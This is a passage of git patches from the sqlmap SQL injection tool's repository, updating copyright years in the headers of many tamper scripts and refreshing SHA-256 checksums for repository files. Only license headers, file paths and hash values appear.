(https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 0561b2f79c7..fdc727584f8 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index b6f4e7f63f9..8eb670a190a 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index d5e471daefa..cc44a4cfb6b 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index 7c66c88f112..aeae467c921 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/decentities.py b/tamper/decentities.py index aaed22f4d39..7e4a9c9aa26 100644 --- a/tamper/decentities.py +++ b/tamper/decentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/dunion.py b/tamper/dunion.py index 27172685f78..3ea412e6fea 100644 --- a/tamper/dunion.py +++ b/tamper/dunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index ddc237b687d..ad3040845e1 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py index 097adfcde27..2fae7658233 100644 --- a/tamper/equaltorlike.py +++ b/tamper/equaltorlike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index 778b69337aa..45a9fbd7a9f 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 58013551bb4..3671d844809 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index f4dd455806f..01954712880 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 267124d386a..351967b3b9e 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hexentities.py b/tamper/hexentities.py index d36923eff07..6e2da1a424f 100644 --- a/tamper/hexentities.py +++ b/tamper/hexentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 6cd5507c8a7..201aaf550b7 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/if2case.py b/tamper/if2case.py index 2e3a01f26b0..d514c4f86a4 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index f439d9d0e46..6f47eb50d02 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index d182b688b0a..caf0c6e7e3a 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 9ec46b5b183..3b37863a258 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index 9c948b4a383..1823e0464a5 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 230f7ef4f75..6e48446f81b 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index f4bf8254926..295972958bb 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/misunion.py b/tamper/misunion.py index 596880a8196..0e45005d845 100644 --- a/tamper/misunion.py +++ b/tamper/misunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 19c1d081278..90eeeb6a63c 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index c646d1a58a5..f5943d17dc3 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 8f2ae170847..d49b0581684 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py index f5cf8a26d99..890a6eb346e 100644 --- a/tamper/ord2ascii.py +++ b/tamper/ord2ascii.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 594535678f3..a5bc9a90d88 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index e7137456d7f..b716b64b596 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index 9d62e60d2df..10917572479 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index 3b910f86ddb..b7704218d9f 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index ab1005a8a08..f25c33c484a 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 8cb02a89a96..15150f29b35 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index edf4cba4ff2..ec5e1f5d592 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index 07ad37dfc0f..66f8a077142 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/scientific.py b/tamper/scientific.py index 9b0ecf7760f..33b852e355d 100644 --- a/tamper/scientific.py +++ b/tamper/scientific.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py index f0b3a54f0c5..af29b70fa7e 100644 --- a/tamper/sleep2getlock.py +++ b/tamper/sleep2getlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index d23c0d52900..363ac0509a0 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 3229a5cd3d5..da7a3780bc3 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 5ecb814c119..25b4c7c0b8d 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 2cef84d8a5f..95531ee1cdb 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index c5d7ec47b08..89eb4670799 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 091bb9b396f..f06d35eb581 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 5f055c8cc01..df1ca89c723 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index 67e31e6c205..ee57c7ba1b3 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 399370c5d25..09481eece82 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 7b6477646d1..6207916f54e 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 45110ae4f40..f094577f7ce 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 2a2cc4d7a1c..c5905ad28eb 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 642e499ba87..e3be66baea6 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index f33e09cc22c..9f5298c91a1 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 1c1ae215707..17692baf9e7 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 89e9b969627..f933331d097 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index ad27404b3d6..40033fcd0cc 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 0e0add6a3ce..52c0e9a4936 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 6914ade2e87..6ab3230fb5e 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index fe3480e43e2..50c22710ea0 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index b1d28928ecd..5d2a1bc1fab 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ From fee62ae14c15e555662b1d1099304add3eff3b1c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2025 01:00:58 +0100 Subject: [PATCH 129/853] Update of checksums --- data/txt/sha256sums.txt | 820 ++++++++++++++++++++-------------------- 1 file changed, 410 insertions(+), 410 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index da732bb4146..c6a5956ac7e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -22,13 +22,13 @@ a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/REA 099eb0f9ed71946eb55bd1d4afa1f1f7ef9f39cc41af4897f3d5139524bd2fc2 data/shell/stagers/stager.aspx_ f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/stagers/stager.jsp_ 84b431647a2c13e72b2c9c9242a578349d1b8eef596166128e08f1056d7e4ac8 data/shell/stagers/stager.php_ -31676dcadde4c2eef314ef90e0661a57d2d43cb52a39ef991af43fcb6fa9af22 data/txt/common-columns.txt -bb88fcfc8eae17865c4c25c9031d4488ef38cc43ab241c7361ae2a5df24fd0bb data/txt/common-files.txt -e456db93a536bc3e7c1fbb6f15fbac36d6d40810c8a754b10401e0dab1ce5839 data/txt/common-outputs.txt -1c5095ba246934be2a7990bf11c06703f48ebba53f0dba18107fcf44e11a5cea data/txt/common-tables.txt -4ee746dcab2e3b258aa8ff2b51b40bef2e8f7fc12c430b98d36c60880a809f03 data/txt/keywords.txt +f07b7f4e3f073ce752bda6c95e5a328572b82eb2705ee99e2a977cc4e3e9472b data/txt/common-columns.txt +882a18f1760f96807cceb90023cff919ac6804dde2a6ddd8af26f382aa3e93eb data/txt/common-files.txt +1e626d38f202c1303fa12d763b4499cf6a0049712a89829eeed0dd08b2b0957f data/txt/common-outputs.txt +8c57f1485d2f974b7a37312aa79cedefcca7c4799b81bbbb41736c39d837b48d data/txt/common-tables.txt +f20771d6aba7097e262fe18ab91e978e9ac07dafce0592c88148929a88423d89 data/txt/keywords.txt c5ce8ea43c32bc72255fa44d752775f8a2b2cf78541cbeaa3749d47301eb7fc6 data/txt/smalldict.txt -895f9636ea73152d9545be1b7acaf16e0bc8695c9b46e779ab30b226d21a1221 data/txt/user-agents.txt +4f6ee5c385a925372c4a4a0a65b499b9fc3f323a652d44b90892e742ef35c4c1 data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ 849c61612bd0d773971254df2cc76cc18b3d2db4051a8f508643278a166df44e data/udf/mysql/linux/32/lib_mysqludf_sys.so_ 20b5a80b8044da1a0d5c5343c6cbc5b71947c5464e088af466a3fcd89c2881ef data/udf/mysql/linux/64/lib_mysqludf_sys.so_ @@ -112,14 +112,14 @@ c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translatio 0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md 285c997e8ae7381d765143b5de6721cad598d564fd5f01a921108f285d9603a2 doc/translations/README-vi-VN.md b553a179c731127a115d68dfb2342602ad8558a42aa123050ba51a08509483f6 doc/translations/README-zh-CN.md -98dd22c14c12ba65ca19efca273ef1ef07c45c7832bfd7daa7467d44cb082e76 extra/beep/beep.py +783ddbaa638d2d2987be7aa2e9e9e40aef8c0b7a132db60949e43bc733d01978 extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/beep/__init__.py -c8a0f9ea14315b9ac57097cbf383f57eb3dffda57f46efaf38fcdb68fdb94638 extra/cloak/cloak.py -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/cloak/__init__.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/beep/__init__.py +3b54434b0d00c8fd12328ef8e567821bd73a796944cb150539aa362803ab46e5 extra/cloak/cloak.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/cloak/__init__.py 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt -0d16bc2624e018c38fd7fa8e936eb4b81d49726cacc62b87a1c4210bf2a08f5f extra/dbgtool/dbgtool.py -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/dbgtool/__init__.py +30f8aa9e7243443c9cfc21d2550036b2eda42414e1275145e5a97d2576149ca5 extra/dbgtool/dbgtool.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/dbgtool/__init__.py a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt a87035e5923f5b56077dfbd18cda5aa5e2542f0707b7b55f7bbeb1960ae3cc9a extra/icmpsh/icmpsh.exe_ 2fcce0028d9dd0acfaec497599d6445832abad8e397e727967c31c834d04d598 extra/icmpsh/icmpsh-m.c @@ -128,7 +128,7 @@ a87035e5923f5b56077dfbd18cda5aa5e2542f0707b7b55f7bbeb1960ae3cc9a extra/icmpsh/i 1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db extra/icmpsh/icmpsh-s.c ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/__init__.py +1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/__init__.py 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt 25be5af53911f8c4816c0c8996b5b4932543efd6be247f5e18ce936679e7d1cd extra/runcmd/runcmd.exe_ 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt @@ -142,412 +142,412 @@ b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcod cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ 384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh -2f5dfcffc21b5bf7c48cd6c6dbb73d65d624c22e879128bb73b6a74fe508d2fe extra/shutils/blanks.sh 